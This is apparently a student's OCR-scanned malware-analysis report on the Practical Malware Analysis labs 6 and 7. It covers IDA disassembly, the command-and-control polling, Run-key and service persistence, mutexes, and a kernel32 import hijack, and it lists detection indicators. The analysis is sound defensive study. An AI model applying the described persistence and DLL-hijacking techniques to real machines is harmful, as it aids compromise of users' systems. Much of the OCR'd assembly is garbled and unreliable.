LEN

|
Figure 7: Lab06-02 | Reporting successful read of command and sleeping for 60 seconds
v. Are there any network-based indicators for this program?
The key NBIs (network-based indicators) from the program are the user-agent string and
URL found related to the TnternetOpena and InternetOpenUrla calls; Internet Explorer
7.5/pma and http.://www.practicalmalwareanalysis.com/cc.htm
vi. What is the purpose of this malware?
Very similar to Lab06—01.exe, Lab06—02.exe tests for internet connection and prints an

appropriate message. Upon successful connection, however, the program then attempts to
download and read the file from Attp.//www.practicalmalwareanalysis.com/cc.htm.

C:\Users\cxe\Desktop\PMA tmp>Labo6-02.exe
Success: Internet Connection
Error 2.3: Fail to get command

ent "Internet Explorer 7.5/pma" http://www.practicalmalwareanalysis.com/cc,htm
itle=301 Moved Permanently</title=</head=

ed Permanently=/hl=</center=

Fgur 8: Lab06—02.exe | Tested execution

Upon testing, this file is not available on the server. The program did not successfully read
the required first 4 bytes therefore an error message was printed (figure 8).

d. Analyze the malware found in the file Lab06-03.exe.
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i. Compare the calls in main to Lab06—02.exe’s main method. What is the new function
called from main?

For both executables, I have renamed all of the functions that we have already analysed. The
differentiator between the two is an additional function once internet connection has been
tested, the file has been downloaded, and the successful parsing of the command message has
been printed — sub_ 401130 (figure 9).

ii. What parameters does this new function take?

sub 401130 takes 2 parameters. The first is char, the command character read from
http://www.practicalmalwareanalysis.com/cc.htm and 1pExistingFileName (a long pointer
to a character string, ‘Existing File Name’, which is the program’s name ( Lab06—-03.exe)
(figure 10). These were both pushed onto the stack as part of the main function.

Hu=

ooooooeoead4allie

ageeeceaea481138

ageeeceeee481l13e ttribut bp-t d fr

eeoaoeecoad4ellie

ed6oageeeadallie ; int _ cdecl sub 481138(char, LPCSTR lpExistingFileName)
epepeoeeee481138 sub_48113@ proc near

oeeooeecead4ellle

cgeopeeeeadellie var_8= dword ptr -8

egeoeeeceadallle phkResult= dword ptr -4

eeeooeeceadallie arg_o= byte ptr 8

eaeaeeReeada113e lpExistingFileName= dword ptr @cCh
egecoeeeesdallie

egeopeecesdellie 55 push ebp

e0e0ea0808481131 8B EC mow ebp, esp

2000000000401133 B3 EC @8 sub esp, 8 : Integer Subtraction
Bee0pepees4e1136 @F BE 45 @8 movsx eaX, [ebp+arg_®] ; Move with Sign-Exten
800000000840113A B9 45 F8 mov [ebp+var_B8], eax

0000000008408113D BB 4D F8 mov ecx, [ebp+var_g8]

Be200000004081140 B3 E9 61 sub ecx, b6lh ; Integer Subtraction
80000000004081143 89 4D F8 mowv [ebp+var_8], ecx

e0opeeeaeed4e1146 83 7D FB o4 cmp [ebp+var_B8], 4 ; switch 5 cases
220000028040114A BF BY 91 22 20 @8 ja loc_4811E1 ; Jjumptable 2e481153 default case

Figure 10: Lab06—03.exe | sub_ 401130 parameters.
iii. What major code construct does this function contain?

IDA has helpfully indicated that the major code construct is a five-case switch statement by
mkﬁngconnnenwibr'switch 5 cases'andthe'jumptable 00401153 default case'.
We have previously seen similar cmp which are if statements, however, in this case, there is
a possibility of five paths. We can confirm this in the flowchart graph view, where there are
five switch cases and one default case (figure 11).
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Figure 11: Lab06—-03.exe | sub_ 401130 flowchart |

iv. What can this function do?
The five switch cases are as follows (figure 12):

Switch Case Location |Action

Case 0 Loc_48115A | Calls CreateDirectoryA to create directory Ct\Temp

Case 1 loc_4@116C | Calls CopyFileA to copy the data at 1pExistingFileName to be C\Temp\ce.exe

Case 2 loc_4@117F | Calls DeleteFileA to delete the file C:\Tempcc.exe

Case 3 loc_48118C | Calls RegOpenKeyExA to open the registry key Software\Microsoft\Windows\CurrentVersion\Run
Calls RegSetValueExA to set the value name to Malware with data C:\Temp\cc.exe

Case 4 loc_481104 | Call Sleep to sleep the program for 100 seconds

Default loc_4@11E1 | Print error message Error 3,.2: Not o valid command provided

Figure 12: Lab06—-03.exe | sub_ 401130 switch cases

Depending on the command provided (0—4) the program will execute the appropriate API
calls to perform directory operations or registry modification. 1pExistingFileName is the
current file, Lab06—03.exe. Setting the registry key
Software\Microsoft\Windows\CurrentVersion\Run\Malware with file C:\Temp\cc.exe
is a method of persistence to execute the malware on system startup.

v. Are there any host-based indicators for this malware?

The key HBIs (host-based indicators) are the file written to disk (C: \Temp\cc.exe), and the
registry key used for persistence ( Software\Microsoft\Windows\CurrentVersion\Run
/v Malware | C:\Temp\cc.exe)

vi. What is the purpose of this malware?

Following on from the functionality of the simpler Lab06—01.exe and Lab06—-02.exe, Lab06—
03.exe also tests for internet connection and prints an appropriate message. The program
attempts to download and read the file from
http://www.practicalmalwareanalysis.com/cc.htm. The program then has a set of possible
functionalities based upon the contents of cc.htm and the switch code construct to perform
one of:
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Create directory C:\Temp

Delete c: \Temp\cc.exe

Malware Analysis

Copy the current file (Lab06—03.exe) to C: \Temp\cc.exe
Set the Run registry key as Malware | C:\temp\cc.exe for persistence

Sleep the program for 100 seconds

e. analyze the malware found in the file Lab06-04.exe.

i. What is the difference between the calls made from the main method in Lab06—03.exe

and Lab06-04.exe?
=

sogaegpapadalods
PEEEeBeEEda1848
SRERE8RERa4A1848 ; Attributes: bp-based frame
2oaaaaneaadalads
2E2808888481848 downloadFile proc near
Seagegepsbadal1ade
20222222082481048 Buffer= byte ptr -238h
2aga0oa00a401040 var_22F= byte ptr -22Fh
Sogopeponad4al1048 var_22E= byte ptr -22Eh
epspsenaaadalade var_22D= byte ptr -22Dh
2oaaaeneaadaloas wvar_23C= byte ptr -22Ch
SHEeeBBada1840 hFile= dword ptr -38h
eoeopaneaadaloda hInternet= dword ptr -2ZCh
2028888888481848 szAgent= byte ptr -2Bh
SEgEaeBeBa4a1848 dwhumberOfBytesRead= dword ptr -8
oBgeaapanadalade var_d4= dword ptr -4
208802020040 1848 arg_@8= dword ptr 8
BEEEeBeEEda1848
SEEReeReEa4Ba10848 55 push ebp
aagaaaagaadaladl BB EC Mo ebp, esp
2006020060401043 B1 EC 32 92 88 8@ sub esp, 568 3 Integer Subtraction
2000008008401049 BE 45 88 mow eax, [ebp+arg_@]
2paaasnaaad4alaac 5a push eax
20080008604081040 68 F4 T8 48 88 push offset alnternetExplor ; "Int 7 .58/ pmaXd"
SOeP0e800a401052 8D 40 D8 lea ecx, [ebp+szAgent] ; Load Eff
2gedsenaaa401as5s 51 push BCX
2ogaEeneea4a1856 EE EB 82 88 a8 call sub_4812E6 ; Call Procedure
S@H0HE00880481685E B3 C4 ac add esp, 12 : Add
222022000842185E 64 08 push 2] ; dwFlags
20200202004010568 &4 22 push =] ;3 lpszProxyBypass
S0S0080000401062 A B8 push 5] ; lpszProxy
SO80880808481064 64 DB push -] ; dwiccessType
202820002084081056 BD 55 DB lea edx, [ebp+szigent] ; Load Effective Address
2O0002008040106%9 52 push edx ; lpszAgent
208000000840106A FF 15 DC 62 48 @@ call ds:InternetOpend ; Indirect Call Mear Procedure

Figure 13: Lab06—-04.exe | Modified downloadFile function with arg 0

Of the subroutines called from main we have analysed (renamed to testInternet, printf,
downloadFile, and commandSwitch) only downloadFile has seen a notable change. The
aInternetExplor address contains the value Internet Explorer 7.50/pma%d for the user-
agent (szAgent) which includes an %d not seen previously, as well as a new local variable

arg_ 0 (figure 13).

This instructs the printf function to take the passed variable arg 0 as an argument and print
as an int. The variable is a parameter taken in the calling of downloadFile , donated by

IDA as var_ c(figure 14).

egepeeoeeadelled
eooooeaeen4el2ee
eeooeooeee401267
geeaepaeepd4el26C
ogepooeeee4el26F
eooooeaesa401272

8B 4D F4

51

EE2 D4 FD FF
83 C4 b4

B8 45 FB

OF BE 55 FB

mov ecx, [ebp+var_C]
push ecx
FF call downloadFile ; Call Procedure
add esp, 4 ; Add
mowv [ebp+command], al
movsx edx, [ebp+command] ; Move with Sign-Extend

Figure 14: Lab06—04.exe | Variable passed to downloadFile
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Some of the called subroutines have different memory addresses to what we saw in the
previous Lab06—0X.exes, due to the main function being somewhat more complex and
expanded.

iil. What new code construct has been added to main?
main has been developed upon to include a for loop code construct, as observed in the
flowchart graph view (figure 15).

Figure 15: Lab06—04.exe | For loop within main
A for loop code construct contains four main components — initialisation, comparison,
execution, and increment. All of which are observed within main (figure 16):

Component |Instruction ‘Description
Initialisation |mov [ebp+var_C], @ iSetvar_CtnD

“Comparison “cmp [ebp+var_C], 144e .i.Checktuseeifvar_Ci51440

| Execution | DownloadFile Download and read command from the file
commandSwitch Execute command using switch cases
Increment mov eax, [ebp+var C] |Add 1 to the value of var_C
add eax, 1

Figure 16: Lab06—04.exe | For loop components

iii. What is the difference between this lab’s parse HTML function and those of the
previous labs?
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As previously identified, the parse HTML function (downloadFile) now includes a passed
variable. Having analysed this and main, we can determine that it is the for loop’s current
conditional variable (var c) value which is passed through to downloadFile’ s user-agent
Internet Explorer 7.50/pma%d, as arg_0 as this will increment by 1 each time, it may
potentially be used to indicate how many times it has been run.

iv. How long will this program run? (Assume that it is connected to the Internet.)

There are several aspects of main’s for loop which can help us roughly work how long the
program will run. Firstly, we know that there is a s1eep for 60 seconds, after the
commandSwitch function. We also know that the conditional variable (var c) is incremented
by 1 each loop. (Figure 17).

0000000000401 29A E8 B1 FE FF FF call commandSwitch

2000000800481 25F B3 C4 @8 add esp, 8 - Add
ocogoeooe0edal2A? 68 68 EA B8 68 push GE888 ; dwMilliseconds
2800000000401 2A7 FF 15 308 60 48 88 call ds:Sleep ; Indirect Call Near
egggeeReee4el2aD EB A2 jmp short loc_481251 ; 1]

e =

208000eRER481251

gogapoeneadel2sl loc_401251:

SHe6ReEEeA401251 BB 45 F4 mov eax, [ebp+var (]
2000000R0R481254 82 (@ @1 add eax, 1 + Ade
_989939399949125? 89 45 F4 mowv [ebp+var_C], eax

Figure 167: Lab06—04.exe | Sleep function and for loop increment

The for loop starts var c at 0, and will break the loop once it reaches 1440. This means
that there are 1440 60second loops, equalling 86400 seconds (24hours). The program may
run for longer if the command instructs the switch within commandswitch to sleep for
100seconds at any of the 1440 iterations.

v. Are there any new network-based indicators for this malware?

The only new NBI for Lab06—04.exe is the aInternetExplor “Internet Explorer
7.50/pma%d”, with “http://www.practicalmalwareanalysis.com/cc.htm” as the other, already
known, indicator.

vi. What is the purpose of this malware?

Lab06—04.exe is the most complex of the four samples, where a basic program to check for
internet connection has been developed into an application that connects to a C2 domain to
retrieve commands and perform specific actions on the host. The malware runs for a
minimum of 24hrs or at least makes 1440 connections to the C2 domain with 60-second
sleep intervals. The functionality of the malware allows it to copy itself to a new directory,
set it as autorun for persistence by modifying a registry, delete the new file, or sleep for 100
seconds.
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Practical No. 3

a. Analyze the malware found in the file Lab07-01.exe.

i. How does this program ensure that it continues running (achieves persistence) when
the computer is restarted?

Creates a service named “Malservice”. Establishes connection to the service control manager
(OpenSCManagerA) — requires administrator permissions, then gets handle of current
process (GetCurrentProcess), gets File name (GetModuleFileNameA). Creates the service
named “Malservice” wich auto starts each time. (CreateServiceA)

ii. Why does this program use a mutex?

Program uses mutex to not reinfect the same machine again. Opens mutex (OpenMutexA)
with the name “HGL345” with MUTEX ALL_ ACCESS. If instance is already created,
terminates program, otherwise creates one.

sub_481848 proc near

SystemTime= SYSTEMTIME ptr -4@8h

FileTime= FILETIME ptr -3F8h
Filename= byte ptr -3E8h

sub esp, 488h
push offset Name ; "HGL345"
push @ 3 bInheritHandle
push MUTEX_ALL ACCESS ; dwDesiredAccess
call ds :OpenMutexa
test eax, eax
jz short loc_ 481864
Y Y
A= s
push @ ; UExitCode
call ds:ExitProcess loc_481864:
push esi
push offset Name 3 "HGL345"
push @ ; bInitialOwner
push @ 3 lpMutexAttributes
call ds :CreateMutexa

iii. What is a good host-based signature to use for detecting this program?

Host-based signature are mutex “HGL345” and service “Malservice”, which starts the
program.

iv. What is a good network-based signature for detecting this malware?

User Agent is “Internet Explorer 8.0” good network-based signature and connects to server
“http://www.malwareanalysisbook.com" for infinity time.
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I

; Attributes: noreturn

3 DWORD _ stdcall StartAddress({(LPVOID lpThreadParameter)
StartAddress proc near

1pThreadParameter= dword ptr 4

push esi
push edi
push E ; dwFlags
push @ 3 lpszProxyBypass
push B ; lpszProxy
push INTERMET OPEM TYPE_DIRECT ; dwAccessType
push offset szAgent ; "Internet Explorer 3.8"
call ds:InternetOpend
mow edi, ds:InternetOpenUrlA
mow esi, eax
%
I
loc_48116D: ; dwContext
push a
push INTERMET_FLAG_RELOAD ; dwFlags
push @ 3 dwHeadersLength
push a ;3 lpszHeaders
push offset szUrl ; "http://vwwew.malwareanalysisbook. com™
push esi 3 hInternet
call edi ; InternetOpenUrlA
jmp short loc_48116D
StartAddress endp
1

v. What is the purpose of this program?

Program is designed to create the service for persistence, waits for long time till 2100 years,
creates thread, which connects to “http://www.malwareanalysisbook.com" forever, this loop
never ends. The rest code is not accessed: 20 times calls thread, which connects to web page
and sleeps for 7.1 week long before program exits. Infinitive loop is created to DDOS attack
the page. Attacker is only able to compromised the web page if has more resources than
hosting provider can handle.

Creates new thread (CreateThread), important argument is IpStartAddress, which indicates
the start of the thread and connects to internet (described at paragraph 4) for 20 times. Then
sleeps for enormous time ~ 7.1 week and exits the program.

b. Analyze the malware found in the file Lab07-02.exe.

i. How does this program achieve persistence?

Program doesn’t achieve persistance. Initializes COM object (Olelnitialize) creates single
object with specified clsid (CoCreatelnstance).
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3 int cdecl main{int argc. const char *®argwv, const char **enwvp)
_main proc near

ppw= cword ptr -24h
prarg= WARIANTARG ptr -Z2oh
war_18= ward ptr -18h
war_8= dword ptr -8

arge= dword ptr 4

argu= dword pte 3

envp= dword ptr  B8Ch

sub esp; 24h
push @ 3 pwvReserwved
call dsz:0leInitialize
test eax, eax
51 short loc_481885
L L
_ ¥
=i =
lea eax, [=esp+Zdh+ppv]
push sax i ppw
push offset riid 5 ridd
push 4 3 dwClsContext
push a ; pUnkouter
push offset rclsid 3 rolsid
call ds:CoCreatelnstance
mow eax, [esp+2ah+ppv]
test enN, S0
Jz short loc_481@7F
L1

IDA PRO represents reclsid and riid like this:

.rdata:e8482858 ; IID rclsid

.rdata: 88482858 rclsid dd 2DF@lh ;3 Datal

.rdata:ee482853 ; DATA XREF: _main+lDfTo
.rdata: 88482858 dw @ ; Dataz2

.rdata: 88482058 dw @ ;3 Data3

.rdata:ee482858 db eceh, & dup(@), 46h ; Datas

.rdata:ee482868 ; IID riid

.rdata: 884820668 riid dd @8D3aCl661h 3 Datal

.rdata:ee482863 ; DATA XREF: _maint+l4ato
.rdata: 482868 dw BCDAFh ; Dataz2

.rdata: 88482068 dw 11D&h ; Data3

.rdata: 884826858 db 8&h, 3Eh, @, B8C8h, 4Fh, 8Coh, BE2h, BEh; Datad

There are two ways to get GUID value of rclsid and
riid.Conversion through size representation:dd (dword — 4
bytes) 0002 DFO1

dw 0 - 0000

dw 0 - 0000

db CO (takes only 1 byte)

000000 46GUID format is {8-4-4-12}If we write as GUID we get:
{0002DF01-0000-0000-C000-000000000046}Here is another way:The
interval of value rclsid is from [402058-402068). If we
eliminate image base (40 0000), we get the interval [2058-
2068) or [2058-2067] (we don’t want to take byte which belongs
to other wvalue).

ws' CFF Explorer VIl - [Lab07-02.exe] = m} X
File Settings 7
e H " Lab07-02.exe X
-
Member Offset Size Value Meaning £

B [File: Lab07-02 exe )

|~ @ Dos Header Magic 00000108 Word 0108 PE32

(&l Mt Headers MajorLinkerVersion 00000104 Byte 06
3 File Header o -
. a . MinorLinkerVersion 000007108 Byte 00
|2 Data Directones [x] SizeOfCode 0000010C Dwiord DODOI000

— (& Section Headers k] SizeOfInitializedData 00000110 Dword 00002000

— | Import Directony

- \ﬁ‘m Converter SizeOfUninitializedData 00000114 Dword 00000000

— ) Dependency Walker AddressOfEntryPoint 00000118 Dword 00001090 text

% Hex Editor

— {1‘ Identifier BaseOfCode 00000711C Dword 00001000

— ) Import Adder BaseOfData | 00000120 Dword 00002000

— 9, Quick Disassembler

L Y Rebuilder ImageBase |{)DOC(TI 24 Dword 00400000 I
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CFF Explorer showing the Image Base

I use HxD to select hex bytes Edit -> Select block..
0 HxD - [C\Users\user\Desktop\PracticalMalwareAnalysis-Labs-master\PracticalMalwareAnalysis-Labs-mast
| FiIeSearch View Analysis Toocls Window Help

| & | Undo Ctrl+Z V|| Windows (ANsI) || hex &

| &) Lebg % Cut Ctrl+X

Copy Ctrl+C

Cffsq -_! Pactaiist CteleV o> 06 07 0B 09 OA OB OC 0D OE OF Decoded text
gkl Paste write cl+p |2 00 OC
00001, 0 00 OC
ooool #% Delete Del |5 4o oo
0000]  Copyas v lo 0o oc
0000} 0 00 00
oogo]  Insert bytes.. 0 00 ac
00001 Fill selection... 0 00 00
0goo 0 00 00
JOONN|  Sclect block..  Ciri-E | S
oooaol Select all Cirl+A |0 go oo
00001 Copy offset Alt+lns |0 00 OC
000 0Ty rrr-ror-so-z2 00 00
00002010 F8 21 00 Q0 E8&8 21 00 00

Set the ranges:

Select block *

Start-offset:

| pos|

(®) End-offset:

| 2067|

() Length:

| 1
®) hex Oidec Doct

Cancel

“Data inspector” view shows relsid — GUID value (Byte order
should be set to Little Endian):
{0002DF01-0000-0000-C000-000000000046}

H 1t B gl oo

r = Cotr g

[y i

If we do the same for riid we get {D30Cl1l661-CDAF-11D0-8A3E-
00CO4FCOE26E}
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SEERBRERES

These registry keys will show clsid and riid
meanings:HKEY CLASSES ROOT\CLSID\ and

HKEY CLASSES_ROOT\Interface\P.S. HKEY CLASSES ROOT (HKCR) is a
shortcut of HKLM and HKCU, but in our case it doesn’t

matter .HKEY CLASSES ROOT\CLSID\{0002DF01-0000-0000-C0O00-
000000000046} shows that CLSID belongs to Internet
Explorer(Ver 1.0).

A 0D Reghubtos [Bdbi) - o, 20-soltware com
Fie Gde Vew Fmostes  Hep

BE a0 BE X OO, ren o s soomcisommme -0 Co- memess] - Qo
[ (08T - X002 $000- COAKDOE0ALAS] 2| Veoer N
o [ M | -0 - B000- DOAADCSELLAS)

i 0008150002 01D 5000 BOAROEDZE Ad) " | o | ot |
- I 0000103010 BE00-COALDOROIERS) | 20 w6, [ ——

- I 1003010 B0 ORI B 10 PG5 (SR TEE-As00- bt T CERIE]
+ [N 0000000 (000-2000- £ 200- 000000000044 |

. . {0000 -000-200G- C 200- BO0000000044 |

I —

A I 0000000 00002000 C00- (00000000035 |

5 I OI2000F- 002000 C300-RAR0R0NS5]

[ OO0 T N0-2000 - [ 200 DOD0O00000S |

o0 [ DAL -0 200 £ 300 HODO00004E]

4 [ OOONDLYT-O0-2000- £ 200- DO00000NN04S |

+ I EOD020AT- (000 3000 - C 200 (000000000451
+ I 00T L X0 3000~ (300 000000005 |

o [N 0N 1 -0000-2000- C 200- 000000000048

1 I FOOOX0BIC 0002000 C 300- (00000000048 | e ety =
A I OOOCOEE | OO0 D000 - C000- DOD00mNN08s |

5 [ NE0R00-000-30- C200-D000000NSE] Oilstrees fownd

& I D908 (000-3000- £ 200-LED00000NE | Key ™ h,,, |M.

+ [N 000D 01-0000-3000- £ 00- 00000000004 |

i [ OO TS (0003000 £ 900- (00000000044 |

5 [ 00 000 a0 300N - C 200 CDOON045 1
A I 0002 1401 -0000-2000- C200-D000000000461
4 [ 00022000 -U00-3000- £ 300- 000000000045 |
o [ (LR 002000 [ 200- DOD00000004 |
o [ B0 03 360D

W Lecatiorraid -
< 3| BN Samch renhr

L]

HKEY CLASSES ROOT\Interface\{D30C1661-CDAF-11D0-8A3E-
O0CO4FC9E206E}and the interface is IWebBrowser2.

o L PO ——

File  Edt View Favoites bl

M T QBB @ @ ren o cuasses ncammmceimiee s coar 1o sast-socoec ey -@o,
| = [ [DZBATICC: 1830- 3966-A00T -C8 IESSTADIZS) - s
= [ [DZESEOBE- DOSE 412 ABSE 5081 2FFVOCAT]
& [ [DIBCACT- 37743 AB- TRCRFISICRE] Licee] | e [
o [ (i o065 38ai- el TR BTG T [ = EG_52 [ —
& 1B (DIDOFERS- 8505-4011 D ACTS- RORSTERTENEL;
# I (DOD4BASD- ST 4000 BEBD- D4SA 1 1BIEF I
= M (2650 e 48 S5 3R
# B |DI0DTT70E-FED -&R0- A384- TE | FATRGAAT]
% [ IDI0TS0F5- 3400 1100- RA0R-DOAADCSFF 588 |
# [ IDI0 TS0 3400 11d0- R0 DOAADCSIT 588
& B (DIDATERD. TDRAS3EL. 61751 EIRRERE Y
& I |2 ESse ool 4800 BScS oo 1 2aS6 0|
& B [DIDCHCEE-% 1214005 BESF -CRINCC 1 TC0)
& I |DIE11572 - BA0S-42%3- B320- BARORAE Y300
& (I IDTE1AA 13- T0C - &bl J-BEC - FFDRCIET 531
o0 [ IDINEISY3-B90T BCDS 1P RS ACNOMFDEEH 1)
(DIEDISOC - 38F 1 - SABE - BEIH- DAADESC 54414 |

# I [DIEESIDS- GE RS- SI04 AAS0-ELAMEVB0E50)
I (20 S 54T b rEORRS PR

aat-gd V31 TR TOlY O Entra found
: bl Yo e L
& I (DIFES106-B00C -S40 S0FF - 1 30 128018008}
# [ |DIFFDS34. 9588 4268 -3470- 24 1 3ATRCGAR1 )

& 1B (OSSR ATHD-A207- 54 BOCSUSTIMAT]
& B [DISABECS- 1354 5306 ACEF-30EDDI14DC 38}

| B PremyStusChad 32 -
L= » Seach Samch remsit

ran

More info about could be found here.After execution of
CoCreatelInstance one of arguments #*ppv contains the requested
interface pointer.
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C++

HRESULT CoCreatelInstance(
REFCLSID rclsid,
LPUNKNOWN pUnkOuter,
DWORD dwClsContext,
REFIID riid,

)

Pointer *ppv is moved to eax. which is later de-referenced
(pointer to object).

From de-referenced object 2Ch is added (44 in dec).

ii. What is the purpose of this program?

Program just opens Internet explorer with an advertisement.
“http://www.malwareanalysisbook.com/ad.html.”

Page not leund | Rureerg b

Running the Gauntlet

This is somewhat embarrassing, isn't it?

iii. When will this program finish executing?

After some cleanup functions: SysFreeString and
OleUninitialize program terminates.

¢. For this lab, we obtained the malicious executable, Lab(07-03.exe, and
DLL, Lab07- 03.dll, prior to executing. This is important to note because
the mal- ware might change once it runs. Both files were found in the same
directory on the victim machine. If you run the program, you should
ensure that both files are in the same directory on the analysis machine. A
visible IP string beginning with 127 (a loopback address) connects to the
local machine. (In the real version of this malware, this address connects to
a remote machine, but we’ve set it to connect to localhost to protect you.)

i- How does this program achieve persistence to ensure that it continues running when
the computer is restarted?
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Persistence is achieved by writing file to
“C:\Windows\System32\Kernel32.d11”
and modifying every ".exe" file to import that library.

ii. What are two good host-based signatures for this malware?
Good host-based signatures are:
“C:\\Windows\\System32\\Kernel32.d11l”

Mutex name “SADFHUHFE”

iii. What is the purpose of this program.

Dynamic analysisExecute program with correct
argument: "WARNING THIS WILL DESTROY YOUR MACHINE"
modifies "WinRAR.exe" in my case.

Hl Find Handles or DLLs

Filker: ! kernel | [Irege=

B Process Type Mame Handle
WinRAR . exe (27200 DLL CHMWINDOWS syskem32 kerne 132, dIl D 10000000
WiINRAR . exe (2645) DLL CHMWINDOWS \syskem32kerne 132, dIl Dx10000000

E

¥

¥

<

=

Library "kernel32.dl1l" is replaced instead of "kernel32.d11"
to executable.

"5 WinRAR.exe [2648) Properties

_ General | Skatistics Performance Threads Token
Modules | Memory Eresironmnent Handles Cormment
Mame Base address Size  Description %)
c_1254.nls Ox1020000 6& kE
C_1255.nls 0x1040000 63 kB
c_1256.nls Ox1060000 G kE
c_1257.nls Ox10E0000 68 kB
c_l25&.nls 0x10a0000 635 kB
c_850.nls Oxe50000 63 kB
C_852.nls Oxe70000 65 kB
c_B66.nls Oxe20000 68 kB
c_&74.nls OzxebO0o0o0 63 kB
c_932.nls Oxed0oon 160 kB
C_936.nls Qx<FO0000 195 kB
c_949.nls OxF40000 196 kB
c_950.nls QxFS0000 195 kB
dawcint, dil 0x7SF7FO000 40 kE wWeb Dav Clienk DLL
drprow.dil Ox7SFe0000 28 kB Microsoft Terminal Serwver M. ..

gdizz.dll 0x77F10000 2oz kB GDI Client DLL -
OxdecSO000 1.67 MB  Microsoft GDI+

0 116 kB ‘Windows 5P IMM3Z API Clie...
160 kB

| kernelzz di windows MT BASE APL Clien...

locale. nls Ox290000 260 kB

Ipk.dll OxE29c0000 36 kB Language Pack

mpr.dil 0xF1bz00o00 72 kB Multiple Provider Router DLL
MSCTE.dIl Q74720000 304 kB MSCTF Server DLL

MSCTFIME. IME 0x7S5c0000 184 kB Microsoft Text Frame Work. ...
m=gina.dil 075970000 992 kB Wwindows MT Logon GIRG DLL
msimg32.dil DxF&330000 Z0kE GDIEXT Client DLL

rsyvert.dll Ox7F7c10000 352 kB wWindows MT CRT DLL w
msywsock, dil < : - | 38

e mte—imm m

Close

Using API Monitor from Rohitab we identify what is it doing:
Searching for executables ".exe" in C drive.
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If found opens it, Creates file mapping object, opens it in
memory, searches if import is "kernel32.dl1l". Replaces with

"kernel.dll" Unmaps from memory. Closes handles.
E MBused | Lab0?

# Time of Dy Thresd AFT

GENERIC_ALL, F RE_READ, HLILL

| BEFIS  Zi40:10,724 PM 1 Lab07-03 exe CreateFieMapping® { 000000770, MULL, PAGE_REACMARITE, 0, O, MULL
G737 Zi40:11,425 PM | Labi7-03 exe Map¥ieno(File { 0200000774, FILE_MAF_ALL_ACCESS, 0, 0,00
BEF3D  Z:40:11.425 PM | Lab0?-03 exe [sBadReadPtr { 002400115, 4 ) —
6EF40  2:40:11.425 PM i Lab0?-03.ex2 [sBadReadPtr { 0:0253d58c, 20 )
G6EF4L 24011425 PM 1 LabO7-03.exe IsBadReadPtr { 002532720, 20 )
60742 Z40:11.425FM 1 Lab07-03.exe stricmp { "WERNEL3Z.dI", "kernelzz dI" )}
GB740  Z:40:11.4E5FM 1 Lab7-03 exe TsBadReadrPtr ( 0:0Z537] 2, 20)
BEF4F  Z:40:11.425 PM | Lab0?-03 exe _sttemp  "USER3Z A", "kernelzz dIY )
B6BFEl  Z:40:11.425PM i Lab07-03.exe [sBadReadPtr { 0DZ55F37c, 20)
6B752  Z:40:11.425PM | LabO7-03.exe _striemp ¢ "GDIE2.dIY, "kernel32.dll' )
| BOFSE  Zid0:11.425PM 1 Lab07-03.exe IsBadReadrtr { :0253F3d4, 20)
BEFST 24011425 PM 1 Labi07-03 exe _stiicmp { "COMOLGESE.dI”, "kernel3z. i )
BEFEL  Z:40:11.425PM 1 Lahb0#-03.exe IsBadReadPtr { 007537504, 20)
BBFEE  Zrd0:11.425PM i Lab07-03 e _stricmp { "ADVAPL3Z.dI%, ernelzz.dl" )
6766 Z:40:11.425PM 1 Lab07-03 mne IsBadReadPir { 0:0253F732, 20}
GAFEF  2:40:11.425 PM 1 Lab07-03.exe stricmp { "SHELL3Z. dI", "kernel3z.dil' )
BEFFL  Z:40:11.425FM 1

Labi07-03 e IsBadReadPtr ( 0:0253FA15, 201 v
i | .

If any of executable (not in memory) is opened in “PEStudio”,
we see there only “kernel32.dl1” library is imported.

& pestudio 9.05 - Malware Initial Assessment - www.winiter.com [c:\program files\outlook expressimsimn.exe]

fi:  settings  about
wHZx B %
a Ei r:vmg'mﬁhﬂm!hrkH.(rl\‘.vi]mw'mn.r:xh blackist tU) by tl) mparts (‘15) da&cr-u:lcn

i SO (WS implidt L ‘Windows WT CRT DLL

] ! impirit 3 addanced indows 32 Base APl
Lk desheader (64 byems) - [ mpddt | @ |n
=] -itib (st imolidt ] “Windows P USER AFT Clent DLL
- Flla-headar (Art.2008) irrplidt 7 Shaell Lichit-masight Utilky Libeary
* apticnabheader (G0
sactions (93.31%%)

< 3 e | >
sha255: LDETFAASTEAFSFTFATSEOESAIDEAF 3631 L1 EAREGSES L 3AF LFCSFL0403B3 72 cp: 3z-hi Fll.-L-,-pr: exectable 5|.hs-,‘sl.u-m AUl '

Static analysisExecutable is launched with this parameter
“WARNING THIS WILL DESTROY YOUR MACHINE”

ol s 5]

may eax, [esptSdhtargv]
mon esi, offset aWarningThisWil ; "WARNING THIS WILL_DESTROY_YOUR_MACHINE™
mov eax, [eax+d]
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Opens file “C:\\Windows\\System32\\Kernel32.d11” (CreateFileA) with
read permissions (File Share Read and Generic read). Creates mapping
object (CreateFileMappingA with Page Readonly permissions) for this
file. This mapping object is used to map (copy) in to the memory.
Opens another file (CreateFileA in FILE SHARE READ mode) “LabO07-
03.d11”. Exits 1if fai%ed to open the library (Lab07-03.d11).

=

mov edi, ds:CreateFileA
push eax ; hTemplateFile
push eax ; dwFlagsAndAttributes
push OPEN_EXISTING ; dwCreationDisposition
push eax 5 1lpSecurityAttributes
push FILE_SHARE_READ ; dwShareMode
push GENERIC_READ ; dwDesiredAccess
push offset FileName ; "C:\\Windows\\System32\\Kernel32.d1ll"
call edi ; CreateFileA
mov ebx, ds:CreateFileMappingA
push 8 ; lpName
push =] ; dwMaximumSizelow
push e 5 dwMaximumsizeHigh
push PAGE_READONLY ,; flProtect
push ] ; lpFileMappingAttributes
push eax ; hFile
mov [esp+6Ch+hObject], eax
call ebx ; CreateFileMappingA
mov ebp, ds:MapViewOfFile
push 8 ; dwNumberOfBytesToMap
push e ; dwFileOffsetLow
push e ; dwFileOffsetHigh
push FILE_MAP_READ ; dwDesiredAccess
push eax ; hFileMappingObject
call ebp ; MapViewOfFile
push 8 ; hTemplateFile
push 8 ; dwFlagsAndAttributes
push OPEN_EXISTING ; dwCreationDisposition
push e ; lpSecurityAttributes
push FILE_SHARE_READ ; dwShareMode
mov esi, eax
push GENERIC_ALL ; dwDesiredAccess
push offset ExistingFileName ; "Lab87-83.d11"
mov [esp+78h+argc], esi
call edi ; CreateFileA
cmp eax, OFFFFFFFFh
mov [esp+54h+var_4], eax
push ] ; lpName
jnz short loc_401563
1 It ]

=] 1 [ |
call ds:exit I

Creates file mapping object of the library "Lab07-03.d11"
(CreateFileMappingA with PAGE READWRITE protection). Maps this
object in to the memory (MapViewOfFile with FILE MAP ALL ACCESS).
Exits if failed to map.
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= [ e =
call ds:exit

loc_401583: ; dwMaximumSizelow

push e

push @ ; dwMaximumSizeHigh

